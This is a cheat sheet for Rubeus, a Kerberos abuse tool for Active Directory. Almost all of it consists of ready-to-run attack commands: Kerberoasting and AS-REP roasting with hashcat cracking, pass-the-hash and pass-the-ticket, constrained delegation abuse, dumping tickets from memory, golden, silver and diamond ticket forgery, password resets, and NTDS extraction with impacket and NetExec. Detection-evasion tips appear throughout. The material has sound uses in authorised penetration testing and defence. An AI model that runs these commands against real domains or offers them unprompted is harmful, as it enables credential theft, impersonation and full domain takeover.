Rubeus cheatsheet

The Rubeus cheat sheet covers C# Kerberos abuse - ticket requests (asktgt/asktgs), Kerberoasting, AS-REP roasting, S4U constrained delegation, pass-the-ticket, ticket harvesting (triage/dump/monitor), golden/silver forgery, key computation and sacrificial logon sessions.

#Getting Started

#Build & Basics

# Compile from source (Visual Studio / msbuild, .NET 3.5+ or 4.x)
git clone https://github.com/GhostPack/Rubeus
# Open Rubeus.sln -> Build Release
# Or from command line:
msbuild Rubeus.sln /p:Configuration=Release

# Run - list all commands
Rubeus.exe

# Detailed help for a command
Rubeus.exe asktgt

# Most output tickets are base64-encoded .kirbi blobs.
# /nowrap keeps the base64 on a single line (easier to copy/paste)
Rubeus.exe asktgt /user:svc /rc4:HASH /nowrap

#Core Commands

Command	Purpose
`asktgt`	Request a TGT (password / RC4 / AES key)
`asktgs`	Request a service ticket (TGS) from a TGT
`kerberoast`	Roast SPN accounts for offline cracking
`asreproast`	Roast accounts without Kerberos pre-auth
`s4u`	Constrained delegation abuse (S4U2self/proxy)
`ptt`	Pass-the-ticket - inject a ticket into a logon session
`tgtdeleg`	Extract a usable TGT via Kerberos GSS delegation
`renew`	Renew a TGT before expiry
`describe`	Parse/inspect a .kirbi or base64 ticket
`triage` / `dump`	List / extract tickets from LSA cache
`monitor` / `harvest`	Continuously collect new tickets
`golden` / `silver`	Forge TGT / TGS offline
`changepw`	Change/reset a password over Kerberos (kpasswd)
`hash`	Compute Kerberos keys from a password
`createnetonly`	Spawn a sacrificial NEW_CREDENTIALS logon session

#Ticket Requests

#asktgt - Request a TGT

# Request TGT with plaintext password
Rubeus.exe asktgt /user:svc_sql /password:Passw0rd! /domain:corp.local

# Overpass-the-Hash - request TGT using an RC4 (NTLM) hash
Rubeus.exe asktgt /user:svc_sql /rc4:2b576acbe6bcfda7294d6bd18041b8fe /nowrap

# Same, but with an AES256 key (avoids RC4 downgrade / more OPSEC-safe)
Rubeus.exe asktgt /user:svc_sql /aes256:5c1... /opsec /nowrap

# Request AND inject the TGT into the current logon session (pass-the-ticket)
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt

# Request TGT and drop into a NEW sacrificial process (needs elevation)
Rubeus.exe asktgt /user:administrator /aes256:KEY /createnetonly:C:\Windows\System32\cmd.exe /show

# Target a specific DC, request a specific enctype
Rubeus.exe asktgt /user:svc /rc4:HASH /dc:dc01.corp.local /enctype:aes256 /nowrap

#Key asktgt Flags

Flag	Effect
`/user:`	Account to request the TGT for
`/password:`	Plaintext password
`/rc4:` `/aes256:` `/aes128:` `/des:`	Secret key (hash) by enctype
`/ptt`	Inject the ticket into current session
`/nowrap`	Base64 on one line (no PEM wrapping)
`/opsec`	Send a more realistic AS-REQ (skip preauthless probe)
`/domain:` `/dc:`	Target domain / specific KDC
`/enctype:`	Force `rc4` / `aes128` / `aes256`
`/createnetonly:`	Spawn hidden process to receive the ticket

#asktgs - Request a Service Ticket

# Use an existing TGT (base64) to request a TGS for a target SPN
Rubeus.exe asktgs /ticket:doIF...base64TGT... /service:cifs/fileserver.corp.local /nowrap

# Request and inject the TGS directly
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/srv01.corp.local /ptt

# Multiple SPNs at once (comma-separated)
Rubeus.exe asktgs /ticket:TGT /service:cifs/srv01,host/srv01,ldap/dc01 /dc:dc01.corp.local

# Request an alternate enctype ticket (e.g. for downgrade)
Rubeus.exe asktgs /ticket:TGT /service:http/web01 /enctype:rc4 /nowrap

#Kerberoasting

#kerberoast

# Roast every kerberoastable account in the domain (hashcat format)
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# Roast a single target user
Rubeus.exe kerberoast /user:svc_sql /nowrap

# OPSEC: only roast RC4-supporting accounts, skip AES-only (fewer 4769 anomalies)
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

# /tgtdeleg - roast without needing your own creds re-sent; uses GSS delegation
# to obtain a TGT, letting you request RC4 tickets even in AES-only environments
Rubeus.exe kerberoast /tgtdeleg /nowrap

# Roast a specific SPN string (no LDAP account lookup)
Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.corp.local:1433 /nowrap

# Roast using alternate creds (roast from a non-domain-joined context)
Rubeus.exe kerberoast /creduser:corp.local\lowpriv /credpassword:Passw0rd! /outfile:hashes.txt

# Only accounts whose PW hasn't changed recently, print stats first
Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /pwdsetbefore:01-01-2024 /resultlimit:20 /nowrap

#Roasting Flags & Cracking

Flag	Effect
`/format:hashcat`	Output for `hashcat -m 13100`
`/format:john`	Output for John the Ripper
`/nowrap`	Single-line hash (no wrapping)
`/tgtdeleg`	Get RC4 TGS even when accounts are AES-only
`/rc4opsec`	Skip AES-only accounts (quieter)
`/aes`	Include/allow AES ticket roasting
`/stats`	Only print roastable stats, don't roast
`/ldapfilter:`	Custom LDAP filter for target selection
`/ou:`	Restrict to an Organizational Unit

# Crack the resulting TGS-REP hashes
hashcat -m 13100 hashes.txt rockyou.txt        # RC4 (etype 23)
hashcat -m 19600 hashes.txt rockyou.txt        # AES128 (etype 17)
hashcat -m 19700 hashes.txt rockyou.txt        # AES256 (etype 18)

#AS-REP Roasting

#asreproast

# Roast all accounts with "Do not require Kerberos preauthentication" set
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Roast a single known-vulnerable user
Rubeus.exe asreproast /user:jdoe /format:hashcat /nowrap

# Target a specific DC / domain
Rubeus.exe asreproast /user:jdoe /domain:corp.local /dc:dc01.corp.local /nowrap

# Crack AS-REP hashes (etype 23 RC4)
hashcat -m 18200 asrep.txt rockyou.txt

#Notes

Point	Detail
Target flag	UF_DONT_REQUIRE_PREAUTH on the account
No creds needed	AS-REP roast works from an unauthenticated context if you know the username
`/format:john`	Rubeus prefixes with `$krb5asrep$23$`
Enum first	Find targets via LDAP (`userAccountControl:4194304`)

#Constrained Delegation (s4u)

#S4U2self + S4U2proxy

# Classic: service account with constrained delegation to a target SPN.
# Impersonate a privileged user to that service, then inject the ticket.
Rubeus.exe s4u /user:websvc$ /rc4:MACHINE_HASH \
  /impersonateuser:administrator \
  /msdsspn:cifs/fileserver.corp.local /ptt

# Using an AES256 key instead of RC4
Rubeus.exe s4u /user:websvc$ /aes256:KEY \
  /impersonateuser:administrator \
  /msdsspn:cifs/fileserver.corp.local /nowrap

# Alternate service substitution - request one SPN, rewrite it to another
# (delegation is per-SPN but the sname isn't validated in the TGS)
Rubeus.exe s4u /user:websvc$ /rc4:HASH \
  /impersonateuser:administrator \
  /msdsspn:cifs/fileserver.corp.local \
  /altservice:host,http,ldap,rpcss,cifs /ptt

# Two-stage: supply an existing TGT (e.g. from tgtdeleg) instead of a key
Rubeus.exe s4u /ticket:BASE64_TGT \
  /impersonateuser:administrator \
  /msdsspn:cifs/fileserver.corp.local /ptt

# RBCD flavour: /self makes S4U2self issue a ticket to ourselves first
Rubeus.exe s4u /user:FAKE01$ /aes256:KEY /impersonateuser:administrator \
  /msdsspn:cifs/victim.corp.local /altservice:cifs /self /ptt

#s4u Flags

Flag	Effect
`/user:`	Account holding the delegation right (often a machine `$`)
`/impersonateuser:`	User to impersonate (must not be "sensitive"/Protected Users)
`/msdsspn:`	Target SPN from `msDS-AllowedToDelegateTo`
`/altservice:`	Rewrite sname to other services (cifs/host/http/ldap/...)
`/self`	S4U2self only - used for RBCD chains
`/ticket:`	Use a supplied TGT instead of `/rc4`+`/aes256`
`/ptt`	Inject the final S4U2proxy ticket

#Pass-the-Ticket & Delegation

#ptt / tgtdeleg / renew

# Inject a base64 ticket into the CURRENT logon session
Rubeus.exe ptt /ticket:doIF...base64...

# Inject a ticket from a .kirbi file on disk
Rubeus.exe ptt /ticket:C:\temp\admin.kirbi

# Inject into a specific logon session (elevated - target other users)
Rubeus.exe ptt /ticket:BASE64 /luid:0x3e7

# tgtdeleg - abuse the Kerberos GSS-API delegation to get a usable TGT
# for the CURRENT user WITHOUT elevation (no LSASS touch)
Rubeus.exe tgtdeleg /nowrap

# Renew a TGT before it expires (returns a fresh ticket)
Rubeus.exe renew /ticket:BASE64 /ptt

# Auto-renew a TGT in the background until its renew-until limit
Rubeus.exe renew /ticket:BASE64 /autorenew

# Purge tickets from the current logon session
Rubeus.exe purge
Rubeus.exe purge /luid:0x3e7      # specific session (elevated)

#describe - Inspect a Ticket

# Decode and describe a ticket (enctype, flags, validity, groups if PAC)
Rubeus.exe describe /ticket:doIF...base64...
Rubeus.exe describe /ticket:C:\temp\ticket.kirbi

# Fields shown: UserName, Realm, ServiceName, StartTime, EndTime,
# RenewTill, Flags (forwardable/renewable/...), KeyType, Base64EncodedTicket

#Ticket Extraction

#triage / dump / monitor / harvest

# triage - compact table of ALL cached tickets (LUID, user, service, end time)
# Elevate to see other users' sessions; unelevated shows only your own
Rubeus.exe triage

# Filter triage output
Rubeus.exe triage /luid:0x3e7
Rubeus.exe triage /user:administrator
Rubeus.exe triage /service:krbtgt

# dump - extract full base64 tickets from the LSA cache (needs elevation
# to dump sessions other than your own)
Rubeus.exe dump /nowrap
Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap     # just the TGT of a session
Rubeus.exe dump /user:administrator /nowrap

# monitor - poll for NEW TGTs on an interval (great for coercion/relay setups)
Rubeus.exe monitor /interval:5 /nowrap
Rubeus.exe monitor /interval:10 /filteruser:dc01$       # only capture DC$ TGTs

# harvest - like monitor but auto-renews collected TGTs to keep them alive
Rubeus.exe harvest /interval:30

#Extraction Cheatsheet

Command	Needs Admin	Use Case
`triage`	Only for other sessions	Quick inventory of cached tickets
`dump`	Yes (for other users)	Pull full base64 TGT/TGS for reuse
`monitor`	Yes	Capture TGTs as users/DCs authenticate
`harvest`	Yes	Long-run collection + keep TGTs renewed

#Golden & Silver Tickets

#golden - Forge a TGT

# Golden ticket: forge a TGT signed with the krbtgt account key.
# Needs the krbtgt hash/key + domain SID.
Rubeus.exe golden /rc4:KRBTGT_RC4_HASH \
  /user:administrator /id:500 \
  /domain:corp.local /sid:S-1-5-21-1111111111-2222222222-3333333333 /ptt

# Prefer AES256 (RC4 golden tickets are increasingly flagged)
Rubeus.exe golden /aes256:KRBTGT_AES256_KEY \
  /user:administrator /id:500 \
  /domain:corp.local /sid:S-1-5-21-...-... \
  /groups:512,513,518,519,520 /ptt

# Control ticket lifetime / renew window
Rubeus.exe golden /aes256:KEY /user:administrator /domain:corp.local /sid:S-1-5-21-... \
  /startoffset:0 /endin:600 /renewmax:10080 /nowrap

# "Diamond"-style: modern Rubeus can request a real TGT then re-sign the PAC
# with the krbtgt key (blends into legit traffic better than a full forge)
Rubeus.exe diamond /krbkey:KRBTGT_AES256_KEY \
  /user:lowpriv /password:Passw0rd! /enctype:aes \
  /ticketuser:administrator /ticketuserid:500 /groups:512 /ptt

#silver - Forge a TGS

# Silver ticket: forge a service ticket signed with the SERVICE account's key
# (machine account hash for host/cifs, or the svc account for other SPNs).
# No DC contact needed - stealthier, but scoped to one service on one host.
Rubeus.exe silver /service:cifs/fileserver.corp.local \
  /rc4:MACHINE_ACCOUNT_HASH \
  /user:administrator /id:500 \
  /domain:corp.local /sid:S-1-5-21-...-... /ptt

# AES key variant
Rubeus.exe silver /service:host/srv01.corp.local \
  /aes256:MACHINE_AES256_KEY \
  /user:administrator /domain:corp.local /sid:S-1-5-21-... /ptt

#Forgery Reference

Item	Golden (TGT)	Silver (TGS)
Signing key	krbtgt hash/key	Target service/machine key
Scope	Entire domain	Single service on single host
DC contact	Only when using the ticket	None - fully offline
Key flags	`/rc4:` or `/aes256:`	`/rc4:` or `/aes256:`
Common groups	`512` DA, `513` Users, `518` Schema, `519` Ent, `520` GPO	n/a

#Keys, Passwords & Sessions

#hash - Compute Kerberos Keys

# Compute RC4/AES128/AES256/DES keys from a plaintext password.
# For AES/DES keys the salt (domain + username) matters - supply /user + /domain.
Rubeus.exe hash /password:Passw0rd! /user:svc_sql /domain:corp.local

# RC4 (== NTLM hash) needs no salt
Rubeus.exe hash /password:Passw0rd!

# Machine account salt uses the FQDN host form:
# host<hostname>.<domain> - Rubeus builds it from /user:MACHINE$ /domain:
Rubeus.exe hash /password:MachinePass /user:SRV01$ /domain:corp.local

#changepw - Kerberos Password Reset

# Reset a password over Kerberos (kpasswd) using a TGT for the target.
# Common with Shadow Credentials / a recovered TGT to set a known password.
Rubeus.exe changepw /ticket:BASE64_TGT /new:NewPassw0rd123!

# Full chain: get a TGT for the victim, then reset its password
Rubeus.exe asktgt /user:victim /rc4:HASH /nowrap    # or from PKINIT/shadow creds
Rubeus.exe changepw /ticket:doIF...victimTGT... /new:NewPassw0rd123!

#createnetonly - Sacrificial Session

# Create a hidden logon session (LOGON32_LOGON_NEW_CREDENTIALS, type 9) so
# injected tickets don't clobber your real TGT. Returns the new LUID.
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
Rubeus.exe createnetonly /program:powershell.exe /show      # show the window

# Set fake identity on the new session (cosmetic - used with /ptt after)
Rubeus.exe createnetonly /program:cmd.exe /username:admin /domain:corp.local /password:x /show

# Typical pattern: spawn session -> asktgt into it -> use that process
Rubeus.exe asktgt /user:administrator /aes256:KEY \
  /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

#Base64 Ticket Handling

#Convert & Reuse Tickets

# Rubeus emits base64 .kirbi. Save it back to a binary .kirbi file:
[IO.File]::WriteAllBytes("ticket.kirbi",[Convert]::FromBase64String("doIF...base64..."))

# Re-inject a base64 ticket later
Rubeus.exe ptt /ticket:doIF...base64...

# On Linux: convert a Windows .kirbi into a ccache for impacket / nxc
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=$PWD/ticket.ccache

# Use the ccache
impacket-secretsdump -k -no-pass corp.local/[email protected]
nxc smb dc01.corp.local --use-kcache --ntds

# Convert the other way (ccache -> kirbi for Rubeus /ptt)
impacket-ticketConverter ticket.ccache ticket.kirbi

#Tips

Tip	Why
Always add `/nowrap`	One-line base64 - no manual de-wrapping
Prefer `/aes256:` over `/rc4:`	RC4 requests/tickets stand out in modern logging
Use `createnetonly` before `ptt`	Avoid overwriting your own live TGT
`describe` before reusing	Check EndTime/RenewTill so you don't inject a dead ticket
Machine account hash	Enables silver tickets for `cifs`/`host`/`ldap` on that host

#See also

#Cyber Aurelien Guidi

Mimikatz (dump krbtgt / ticket keys)
Certipy (PKINIT -> TGT / shadow creds)
NetExec (spray hashes, use ccache)
BloodHound (find delegation & roast targets)
Hashcat (crack roasted hashes)
AD Toolkit (AD attack reference)